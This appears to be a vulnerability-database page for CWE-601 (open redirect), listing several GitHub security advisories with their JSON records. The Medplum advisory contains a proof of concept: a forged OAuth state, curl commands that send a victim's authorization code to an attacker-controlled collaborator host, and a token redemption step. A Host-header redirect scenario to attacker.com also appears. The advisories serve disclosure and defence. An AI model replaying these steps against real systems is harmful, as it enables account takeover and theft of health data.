CWE-601
AllowedURL Redirection to Untrusted Site ('Open Redirect')
Abstraction: Base · Status: Draft
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
2576 vulnerabilities reference this CWE, most recent first.
GHSA-JXP4-W2WQ-7W9Q
Vulnerability from github – Published: 2023-02-14 06:31 – Updated: 2023-02-21 21:30An unauthenticated attacker in AP NetWeaver Application Server for ABAP and ABAP Platform - versions 700, 702, 731, 740, 750, 751, 752, 753, 754, 755, 756, 757, 789, 790, can craft a link which when clicked by an unsuspecting user can be used to redirect a user to a malicious site which could read or modify some sensitive information or expose the victim to a phishing attack. Vulnerability has no direct impact on availability.
{
"affected": [],
"aliases": [
"CVE-2023-23853"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-14T04:15:00Z",
"severity": "MODERATE"
},
"details": "An unauthenticated attacker in AP NetWeaver Application Server for ABAP and ABAP Platform - versions 700, 702, 731, 740, 750, 751, 752, 753, 754, 755, 756, 757, 789, 790, can craft a link which when clicked by an unsuspecting user can be used to redirect a user to a malicious site which could read or modify some sensitive information or expose the victim to a phishing attack. Vulnerability has no direct impact on availability.",
"id": "GHSA-jxp4-w2wq-7w9q",
"modified": "2023-02-21T21:30:18Z",
"published": "2023-02-14T06:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23853"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/3271227"
},
{
"type": "WEB",
"url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M242-WC86-8768
Vulnerability from github – Published: 2018-07-13 15:17 – Updated: 2024-10-25 21:16python-fedora 0.8.0 and lower is vulnerable to an open redirect, resulting in loss of CSRF protection.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "python-fedora"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-1002150"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:44:34Z",
"nvd_published_at": "2017-09-14T13:29:00Z",
"severity": "MODERATE"
},
"details": "python-fedora 0.8.0 and lower is vulnerable to an open redirect, resulting in loss of CSRF protection.",
"id": "GHSA-m242-wc86-8768",
"modified": "2024-10-25T21:16:44Z",
"published": "2018-07-13T15:17:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1002150"
},
{
"type": "WEB",
"url": "https://github.com/fedora-infra/python-fedora/commit/b27f38a67573f4c989710c9bfb726dd4c1eeb929"
},
{
"type": "WEB",
"url": "https://github.com/fedora-infra/python-fedora/commit/b27f38a67573f4c989710c9bfb726dd4c1eeb929.patch"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-m242-wc86-8768"
},
{
"type": "PACKAGE",
"url": "https://github.com/fedora-infra/python-fedora"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/python-fedora/PYSEC-2017-27.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "python-fedora vulnerable to an open redirect resulting in loss of CSRF protection"
}
GHSA-M29C-GMM3-C3V9
Vulnerability from github – Published: 2026-05-08 12:31 – Updated: 2026-05-08 12:31Open redirection vulnerability in the latest demo version of the Cradle eCommerce platform. The vulnerability occurs in the login form endpoint, where the ‘returnUrl’ parameter allows redirection because the web application accepts a URL as a parameter without properly validating it. As a result, it is possible to redirect users from the legitimate website to external pages. An attacker could exploit this vulnerability to deceive users and redirect them from a trusted URL to a malicious one without their knowledge.
{
"affected": [],
"aliases": [
"CVE-2026-3318"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-08T12:16:29Z",
"severity": "MODERATE"
},
"details": "Open redirection vulnerability in the latest demo version of the Cradle eCommerce platform. The vulnerability occurs in the login form endpoint, where the \u2018returnUrl\u2019 parameter allows redirection because the web application accepts a URL as a parameter without properly validating it. As a result, it is possible to redirect users from the legitimate website to external pages. An attacker could exploit this vulnerability to deceive users and redirect them from a trusted URL to a malicious one without their knowledge.",
"id": "GHSA-m29c-gmm3-c3v9",
"modified": "2026-05-08T12:31:57Z",
"published": "2026-05-08T12:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3318"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-cradle-e-commerce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M2FX-WQ5J-8657
Vulnerability from github – Published: 2024-07-10 21:30 – Updated: 2025-07-25 15:30Redirection of users to a vulnerable URL in Citrix Workspace app for HTML5
{
"affected": [],
"aliases": [
"CVE-2024-6149"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-10T21:15:10Z",
"severity": "MODERATE"
},
"details": "Redirection of users to a vulnerable URL in\u00a0Citrix Workspace app for HTML5",
"id": "GHSA-m2fx-wq5j-8657",
"modified": "2025-07-25T15:30:26Z",
"published": "2024-07-10T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6149"
},
{
"type": "WEB",
"url": "https://support.citrix.com/article/CTX678037"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M2RP-964H-H237
Vulnerability from github – Published: 2025-03-04 15:31 – Updated: 2025-03-04 18:33Websites redirecting to a non-HTTP scheme URL could allow a website address to be spoofed for a malicious page This vulnerability affects Firefox for iOS < 136.
{
"affected": [],
"aliases": [
"CVE-2025-27424"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-04T14:15:39Z",
"severity": "MODERATE"
},
"details": "Websites redirecting to a non-HTTP scheme URL could allow a website address to be spoofed for a malicious page This vulnerability affects Firefox for iOS \u003c 136.",
"id": "GHSA-m2rp-964h-h237",
"modified": "2025-03-04T18:33:41Z",
"published": "2025-03-04T15:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27424"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1945392"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2025-13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M2X7-W5HF-V68G
Vulnerability from github – Published: 2023-06-05 18:30 – Updated: 2023-06-05 18:30A vulnerability, which was classified as problematic, has been found in WooSidebars Plugin up to 1.4.1 on WordPress. Affected by this issue is the function enable_custom_post_sidebars of the file classes/class-woo-sidebars.php. The manipulation of the argument sendback leads to open redirect. The attack may be launched remotely. Upgrading to version 1.4.2 is able to address this issue. The patch is identified as 1ac6d6ac26e185673f95fc1ccc56a392169ba601. It is recommended to upgrade the affected component. VDB-230654 is the identifier assigned to this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2015-10114"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-05T16:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, has been found in WooSidebars Plugin up to 1.4.1 on WordPress. Affected by this issue is the function enable_custom_post_sidebars of the file classes/class-woo-sidebars.php. The manipulation of the argument sendback leads to open redirect. The attack may be launched remotely. Upgrading to version 1.4.2 is able to address this issue. The patch is identified as 1ac6d6ac26e185673f95fc1ccc56a392169ba601. It is recommended to upgrade the affected component. VDB-230654 is the identifier assigned to this vulnerability.",
"id": "GHSA-m2x7-w5hf-v68g",
"modified": "2023-06-05T18:30:27Z",
"published": "2023-06-05T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-10114"
},
{
"type": "WEB",
"url": "https://github.com/wp-plugins/woosidebars/commit/1ac6d6ac26e185673f95fc1ccc56a392169ba601"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.230654"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.230654"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M44R-7C5H-M6MJ
Vulnerability from github – Published: 2026-08-17 13:36 – Updated: 2026-08-17 13:36Summary
The external identity provider callback at GET /auth/external accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum login and code values to that attacker-supplied URL and issues a redirect.
Because the external login request state is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with state.redirectUri can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.
Technical Explanation
The vulnerable flow is exposed on the unauthenticated callback route GET /auth/external.
In externalCallbackHandler(), the server parses the external auth state and uses the decoded clientId and redirectUri after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:
getClientRedirectUri(client, body.redirectUri, true)
The third argument explicitly enables partial matching. In getClientRedirectUri(), the function returns the attacker-supplied requestedUri whenever:
requestedUri.startsWith(uri)
As a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into new URL(redirectUri), and the server appends login and code query parameters before calling res.redirect().
Although externalCallbackHandler() later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.
A practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:
- Registered:
http://callback.audit.local - Malicious:
http://callback.audit.local.oastify.com/cb
The client-side external auth flow serializes the login request directly into the IdP state as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.
Steps to Reproduce
Preconditions
- The target
ClientApplicationhas anidentityProviderconfigured. - The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:
- Registered redirect URI:
http://callback.audit.local - The attacker controls a collaborator endpoint such as:
https://<collaborator-host>/cb- The attacker uses a forged
state.redirectUrithat starts with the registered value, for example: http://callback.audit.local.oastify.com/cb- or a collaborator domain that matches your local proof setup
Example forged state
{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}
URL-encode the forged state
python3 - <<'PY'
import json, urllib.parse
state = {
"clientId": "<medplum-client-id>",
"redirectUri": "http://callback.audit.local.oastify.com/cb",
"codeChallenge": "attack-verifier-123",
"codeChallengeMethod": "plain",
}
print(urllib.parse.quote(json.dumps(state, separators=(',', ':'))))
PY
Replay the external callback with cURL
Use a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly:
curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>
Expected result The response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:
HTTP/1.1 302 Found
Location: http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>
Collaborator proof If redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI.
Optional impact validation If the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed:
curl -i -X POST 'http://api.audit.local:8103/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=authorization_code&code=<medplum-auth-code>&code_verifier=attack-verifier-123'
Impact
The impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow.
-
Full Account Takeover (ATO): An attacker can successfully intercept the Medplum authorization 'code'. Because the attacker controls the 'state' object, they can provide their own PKCE 'code_challenge'. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim's original secret, leading to total session hijacking.
-
Bypassing Modern OAuth Protections: This flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server's verification mechanism is rendered useless against this specific redirection attack.
-
Cross-Origin Data Leakage: The 'startsWith' logic allows an attacker to break out of the intended origin. For example, a registered URI for 'https://app.medplum.com' could be extended to 'https://app.medplum.com.attacker.com', tricking the user and the browser's security model into sending sensitive credentials to an external host.
-
Access to Sensitive Healthcare Data (PHI): Given Medplum's role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards.
-
Victim Trust Exploitation: The attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect.
Mitigation
- Require exact string equality for redirect URIs.
- Bind external auth state to a server-side session or use a HMAC/Signature.
- Reject prefixable or ambiguous redirect URI shapes during registration.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.1.5"
},
"package": {
"ecosystem": "npm",
"name": "@medplum/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53728"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T13:36:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe external identity provider callback at `GET /auth/external` accepts attacker-controlled redirect URIs that only need to start with a registered client redirect URI, rather than matching exactly. After a successful external IdP login, the server appends Medplum `login` and `code` values to that attacker-supplied URL and issues a redirect.\n\nBecause the external login request `state` is serialized as raw JSON and later trusted by the callback, an attacker who can tamper with `state.redirectUri` can cause Medplum to redirect authorization artifacts to an attacker-controlled endpoint. When the registered redirect URI is a bare origin or another prefix that can be extended into a different hostname, this becomes a cross-origin authorization code leak.\n\n## Technical Explanation\n\nThe vulnerable flow is exposed on the unauthenticated callback route `GET /auth/external`.\n\nIn `externalCallbackHandler()`, the server parses the external auth `state` and uses the decoded `clientId` and `redirectUri` after completing the IdP code exchange. If login succeeds and a client is found, the handler calls:\n\n- `getClientRedirectUri(client, body.redirectUri, true)`\n\nThe third argument explicitly enables partial matching. In `getClientRedirectUri()`, the function returns the attacker-supplied `requestedUri` whenever:\n\n- `requestedUri.startsWith(uri)`\n\nAs a result, any redirect URI beginning with a registered value is accepted. The returned URL is then passed into `new URL(redirectUri)`, and the server appends `login` and `code` query parameters before calling `res.redirect()`.\n\nAlthough `externalCallbackHandler()` later performs an exact-match lookup, that result is only used for logging and does not block the redirect. Therefore, the request is still redirected to the attacker-controlled URL even when it is not an exact registered redirect URI.\n\nA practical exploitation detail is that the registered redirect URI must be a prefix that can also prefix a different origin. For example:\n\n- Registered: `http://callback.audit.local`\n- Malicious: `http://callback.audit.local.oastify.com/cb`\n\nThe client-side external auth flow serializes the login request directly into the IdP `state` as JSON, which makes tampering straightforward in an intercepted or manually crafted authorization request.\n\n## Steps to Reproduce\n\n### Preconditions\n\n- The target `ClientApplication` has an `identityProvider` configured.\n- The target client has a registered redirect URI that is prefix-matchable into an attacker-controlled hostname, for example:\n - Registered redirect URI: `http://callback.audit.local`\n- The attacker controls a collaborator endpoint such as:\n - `https://\u003ccollaborator-host\u003e/cb`\n- The attacker uses a forged `state.redirectUri` that starts with the registered value, for example:\n - `http://callback.audit.local.oastify.com/cb`\n - or a collaborator domain that matches your local proof setup\n\n### Example forged state\n\n`{\"clientId\":\"\u003cmedplum-client-id\u003e\",\"redirectUri\":\"http://callback.audit.local.oastify.com/cb\",\"codeChallenge\":\"attack-verifier-123\",\"codeChallengeMethod\":\"plain\"}`\n\n**URL-encode the forged state**\n\n```\npython3 - \u003c\u003c\u0027PY\u0027\nimport json, urllib.parse\nstate = {\n \"clientId\": \"\u003cmedplum-client-id\u003e\",\n \"redirectUri\": \"http://callback.audit.local.oastify.com/cb\",\n \"codeChallenge\": \"attack-verifier-123\",\n \"codeChallengeMethod\": \"plain\",\n}\nprint(urllib.parse.quote(json.dumps(state, separators=(\u0027,\u0027, \u0027:\u0027))))\nPY\n```\n\n**Replay the external callback with cURL**\nUse a valid IdP authorization code obtained from a normal external login flow, then call the vulnerable callback directly:\n`curl -i \u0027http://api.audit.local:8103/auth/external?code=\u003cvalid-idp-code\u003e\u0026state=\u003cURLENCODED_FORGED_STATE\u003e`\n\nExpected result\nThe response is a 302 redirect to the attacker-controlled endpoint, including Medplum authorization artifacts in the query string:\n\n```\nHTTP/1.1 302 Found\nLocation: http://callback.audit.local.oastify.com/cb?login=\u003clogin-id\u003e\u0026code=\u003cmedplum-auth-code\u003e\n```\n\n**Collaborator proof**\nIf redirectUri points to a Burp Collaborator, Interactsh, or another attacker-controlled HTTP endpoint, that service receives the inbound request containing the leaked code in the query string. This demonstrates that Medplum is willing to forward authorization artifacts to an attacker-controlled destination when state.redirectUri only prefix-matches a registered client redirect URI.\n\n**Optional impact validation**\nIf the attacker supplied the PKCE verifier in the forged state, the leaked Medplum code can then be redeemed:\n\n```\ncurl -i -X POST \u0027http://api.audit.local:8103/oauth2/token\u0027 \\\n -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n --data \u0027grant_type=authorization_code\u0026code=\u003cmedplum-auth-code\u003e\u0026code_verifier=attack-verifier-123\u0027\n```\n\n## Impact\n\nThe impact of this vulnerability is Critical, as it facilitates a full Account Takeover (ATO) of any user utilizing the external identity provider (IdP) flow. \n\n1. Full Account Takeover (ATO): \nAn attacker can successfully intercept the Medplum authorization \u0027code\u0027. Because the attacker controls the \u0027state\u0027 object, they can provide their own PKCE \u0027code_challenge\u0027. This allows the attacker to redeem the stolen code for a valid access token without knowing the victim\u0027s original secret, leading to total session hijacking.\n\n2. Bypassing Modern OAuth Protections: \nThis flaw explicitly bypasses the security benefits of PKCE (Proof Key for Code Exchange). By allowing an attacker to inject their own PKCE parameters into the tampered state, the server\u0027s verification mechanism is rendered useless against this specific redirection attack.\n\n3. Cross-Origin Data Leakage: \nThe \u0027startsWith\u0027 logic allows an attacker to break out of the intended origin. For example, a registered URI for \u0027https://app.medplum.com\u0027 could be extended to \u0027https://app.medplum.com.attacker.com\u0027, tricking the user and the browser\u0027s security model into sending sensitive credentials to an external host.\n\n4. Access to Sensitive Healthcare Data (PHI):\nGiven Medplum\u0027s role as a healthcare platform, a successful compromise grants the attacker the same permissions as the victim, potentially exposing Protected Health Information (PHI) and violating HIPAA or other regulatory compliance standards.\n\n5. Victim Trust Exploitation:\nThe attack occurs during a legitimate login flow. The victim interacts with the official Medplum server and their trusted IdP (e.g., Google or Microsoft), making the final redirection to the attacker-controlled URL nearly impossible for an average user to detect.\n\n## Mitigation\n- Require exact string equality for redirect URIs.\n- Bind external auth state to a server-side session or use a HMAC/Signature.\n- Reject prefixable or ambiguous redirect URI shapes during registration.",
"id": "GHSA-m44r-7c5h-m6mj",
"modified": "2026-08-17T13:36:17Z",
"published": "2026-08-17T13:36:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/medplum/medplum/security/advisories/GHSA-m44r-7c5h-m6mj"
},
{
"type": "WEB",
"url": "https://github.com/medplum/medplum/pull/8749"
},
{
"type": "WEB",
"url": "https://github.com/medplum/medplum/commit/7ae10035ddadde4dba7b18d3156553940465b3a1"
},
{
"type": "PACKAGE",
"url": "https://github.com/medplum/medplum"
},
{
"type": "WEB",
"url": "https://github.com/medplum/medplum/releases/tag/v5.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Medplum: Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage"
}
GHSA-M47G-6X2G-P32R
Vulnerability from github – Published: 2022-05-14 03:15 – Updated: 2022-05-14 03:15Open redirect vulnerability in Cloudera HUE before 3.10.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the next parameter.
{
"affected": [],
"aliases": [
"CVE-2015-8094"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-22T18:29:00Z",
"severity": "MODERATE"
},
"details": "Open redirect vulnerability in Cloudera HUE before 3.10.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the next parameter.",
"id": "GHSA-m47g-6x2g-p32r",
"modified": "2022-05-14T03:15:07Z",
"published": "2022-05-14T03:15:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8094"
},
{
"type": "WEB",
"url": "https://github.com/cloudera/hue/pull/346"
},
{
"type": "WEB",
"url": "https://issues.cloudera.org/browse/HUE-3626"
},
{
"type": "WEB",
"url": "https://www.harmfultrust.com/p/advisories.html"
},
{
"type": "WEB",
"url": "http://cloudera.github.io/hue/latest/release-notes/release-notes-3.10.0.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M4QQ-492W-2QW2
Vulnerability from github – Published: 2022-08-29 20:06 – Updated: 2022-09-02 00:01HCL iNotes is susceptible to a link to non-existent domain vulnerability. An attacker could use this vulnerability to trick a user into supplying sensitive information such as username, password, credit card number, etc.
{
"affected": [],
"aliases": [
"CVE-2022-27547"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-29T16:15:00Z",
"severity": "HIGH"
},
"details": "HCL iNotes is susceptible to a link to non-existent domain vulnerability. An attacker could use this vulnerability to trick a user into supplying sensitive information such as username, password, credit card number, etc.",
"id": "GHSA-m4qq-492w-2qw2",
"modified": "2022-09-02T00:01:02Z",
"published": "2022-08-29T20:06:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27547"
},
{
"type": "WEB",
"url": "https://support.hcltechsw.com/csm?id=kb_article\u0026sysparm_article=KB0100212"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-M4W9-GCH5-C2G4
Vulnerability from github – Published: 2026-02-06 18:54 – Updated: 2026-02-06 21:43Summary
Versions 0.2.1 and 0.3.0 of client-certificate-auth contain an open redirect vulnerability. The middleware unconditionally redirects HTTP requests to HTTPS using the unvalidated Host header, allowing an attacker to redirect users to arbitrary domains.
Vulnerable Code
// lib/clientCertificateAuth.js (versions 0.2.1, 0.3.0)
if (!req.secure && req.header('x-forwarded-proto') != 'https') {
return res.redirect('https://' + req.header('host') + req.url);
}
Attack Scenario
- Attacker crafts a link:
http://vulnerable-app.example.com/login - When victim clicks, attacker intercepts and injects header:
Host: attacker.com - Server responds:
302 Found → https://attacker.com/login - Victim is redirected to attacker-controlled site
Impact
- Phishing: Attackers can use trusted domain links to redirect victims to credential-harvesting pages
- OAuth/SSO Token Theft: In authentication flows, authorization codes or tokens may leak via redirect
- Referer Leakage: Sensitive URL parameters may be exposed to attacker domains via the Referer header
- Cache Poisoning: In deployments with shared caches, malicious redirects may be cached and served to other users
Exploitability
Exploitation requires that HTTP traffic reaches the Node.js application without TLS termination setting x-forwarded-proto: https. This condition is uncommon in production deployments behind modern reverse proxies or load balancers, which limits real-world exploitability.
Fix
The vulnerable redirect behavior has been completely removed in version 1.0.0.
npm install client-certificate-auth@^1.0.0
Workarounds
If upgrading is not immediately possible:
- Block HTTP traffic at the network/load balancer level
- Ensure your reverse proxy always sets
x-forwarded-proto: https - Add middleware before
clientCertificateAuthto validate theHostheader against an allowlist
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "client-certificate-auth"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.1"
},
{
"fixed": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25651"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T18:54:33Z",
"nvd_published_at": "2026-02-06T19:16:09Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nVersions 0.2.1 and 0.3.0 of `client-certificate-auth` contain an open redirect vulnerability. The middleware unconditionally redirects HTTP requests to HTTPS using the unvalidated `Host` header, allowing an attacker to redirect users to arbitrary domains.\n\n### Vulnerable Code\n\n```javascript\n// lib/clientCertificateAuth.js (versions 0.2.1, 0.3.0)\nif (!req.secure \u0026\u0026 req.header(\u0027x-forwarded-proto\u0027) != \u0027https\u0027) {\n return res.redirect(\u0027https://\u0027 + req.header(\u0027host\u0027) + req.url);\n}\n```\n\n### Attack Scenario\n\n1. Attacker crafts a link: `http://vulnerable-app.example.com/login`\n2. When victim clicks, attacker intercepts and injects header: `Host: attacker.com`\n3. Server responds: `302 Found \u2192 https://attacker.com/login`\n4. Victim is redirected to attacker-controlled site\n\n### Impact\n\n- **Phishing**: Attackers can use trusted domain links to redirect victims to credential-harvesting pages\n- **OAuth/SSO Token Theft**: In authentication flows, authorization codes or tokens may leak via redirect\n- **Referer Leakage**: Sensitive URL parameters may be exposed to attacker domains via the Referer header\n- **Cache Poisoning**: In deployments with shared caches, malicious redirects may be cached and served to other users\n\n### Exploitability\n\nExploitation requires that HTTP traffic reaches the Node.js application without TLS termination setting `x-forwarded-proto: https`. This condition is uncommon in production deployments behind modern reverse proxies or load balancers, which limits real-world exploitability.\n\n### Fix\n\nThe vulnerable redirect behavior has been completely removed in version 1.0.0.\n\n```bash\nnpm install client-certificate-auth@^1.0.0\n```\n\n### Workarounds\n\nIf upgrading is not immediately possible:\n\n1. Block HTTP traffic at the network/load balancer level\n2. Ensure your reverse proxy always sets `x-forwarded-proto: https`\n3. Add middleware before `clientCertificateAuth` to validate the `Host` header against an allowlist\n\n### References\n\n- [CWE-601: URL Redirection to Untrusted Site](https://cwe.mitre.org/data/definitions/601.html)\n- [OWASP: Unvalidated Redirects and Forwards](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n- [Fix Commit](https://github.com/tgies/client-certificate-auth/commit/8fc995e953db483495be46862965e50fe9e1cc52)",
"id": "GHSA-m4w9-gch5-c2g4",
"modified": "2026-02-06T21:43:18Z",
"published": "2026-02-06T18:54:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tgies/client-certificate-auth/security/advisories/GHSA-m4w9-gch5-c2g4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25651"
},
{
"type": "WEB",
"url": "https://github.com/tgies/client-certificate-auth/commit/8fc995e953db483495be46862965e50fe9e1cc52"
},
{
"type": "PACKAGE",
"url": "https://github.com/tgies/client-certificate-auth"
},
{
"type": "WEB",
"url": "https://github.com/tgies/client-certificate-auth/releases/tag/v1.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "client-certificate-auth Vulnerable to Open Redirect via Host Header Injection in HTTP-to-HTTPS redirect"
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
